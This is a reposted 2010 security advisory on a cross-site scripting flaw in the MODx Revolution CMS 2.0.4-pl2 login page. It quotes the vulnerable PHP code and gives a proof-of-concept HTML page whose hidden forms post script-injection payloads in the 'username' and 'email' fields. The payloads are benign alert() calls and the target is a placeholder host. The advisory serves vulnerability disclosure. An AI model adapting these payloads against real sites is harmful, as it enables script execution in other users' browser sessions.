ExploitFixes
MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability 2010-12-06 18:15:09

<!--

Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability


Vendor: MODx, LLC.
Product web page: http://www.modxcms.com
Affected version: 2.0.4-pl2 (public launch 2)

Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
with custom code and helps you build sites faster and maintain them with ease. With Revolution
you'll leverage the best things to come around since MVC and Active Record.

Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
the "username" and "email" parameters via POST method in login.php script at the manager
login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.


#############################################################
-------------------------------------------------------------
/var/html/www/manager/controllers/default/security/login.php:
-------------------------------------------------------------

25: /* handle login */
26: if (!empty($_POST['login'])) {
27: $validated = true;
28:
29: $user = $modx->getObject('modUser',array(
30: 'username' => $_POST['username'],
31: ));

...

71: } else if (!empty($_POST['forgotlogin'])) {
72: $c = $modx->newQuery('modUser');
73: $c->select(array('modUser.*','Profile.email','Profile.fullname'));
74: $c->innerJoin('modUserProfile','Profile');
75: $c->where(array(
76: 'Profile.email' => $_POST['email'],
77: ));

-------------------------------------------------------------


Tested on: Fedora 10 (Cambridge)
Apache 2.2.14
PHP 5.2.10
MySQL 5.0.88

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4982
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php
Vendor Advisory URL: http://bugs.modx.com/issues/2918

05.12.2010


PoC:

-->


<html>
<head>

<title>Download</title>
<link rel="Shortcut Icon" href="http://www.zeroscience.mk/favicon.ico" type="image/x-icon">

</head>

<body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg">

<br /><br /><center><font color="gray">
<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></h3>
</font></center>

<script type="text/javascript">

function zsl_user()
{
document.forms["modx-login-form"].submit();
}

function zsl_mail()
{
document.forms["modx-fl-form"].submit();
}

</script>

<div id="The Form Of The Ninja" style="visibility:hidden">

<form
action = "http://example.com/manager/"
id = "modx-login-form"
enctype = "application/x-www-form-urlencoded"
name = "hack"
method = "post"
>

<input
type = "hidden"
name = "login_context"
value = "mgr"
/>

<input
type = "hidden"
name = "modahsh"
value = ""
/>

<input
type = "hidden"
name = "returnUrl"
value = "/manager/"
/>

<input
type = "text"
id = "modx-login-username"
name = "username"
tabindex = "1"
autocomplete = "on"
class = "x-form-text x-form-field"
value = '"><script>alert("username param XSSed!")</script>'
/>

<input
type = "password"
id = "modx-login-password"
name = "password"
tabindex = "2"
autocomplete = "on"
class = "x-form-text x-form-field"
/>

<input
type = "checkbox"
id = "modx-login-rememberme"
name = "rememberme"
tabindex = "3"
autocomplete = "on"
checked = "checked"
class = "x-form-checkbox x-form-field"
value = "1"
/>

<input
type = "hidden"
name = "login"
value = "1"
/>

</div>

<br /><br />
<a href="javascript: zsl_user();" style="text-decoration:none"><b>
<font color="red"><center><h3>1. Exploit "username" parameter!
<h3></font></b></a></center></form>

<div id="The Form Of The 2nd Ninja" style="visibility:hidden">

<form
action = "http://example.com/manager/"
id = "modx-fl-form"
enctype = "application/x-www-form-urlencoded"
name = "hack"
method = "post"
>

<input
type = "text"
id = "modx-login-email"
name = "email"
class = "x-form-text x-form-field"
value = '"><script>alert("email param XSSed!")</script>"'
/>

</div>

<a href="javascript: zsl_mail();" style="text-decoration:none"><b>
<font color="red"><center><h3>2. Exploit "email" parameter!
<h3></font></b></a></center></form>

</body>
</html>

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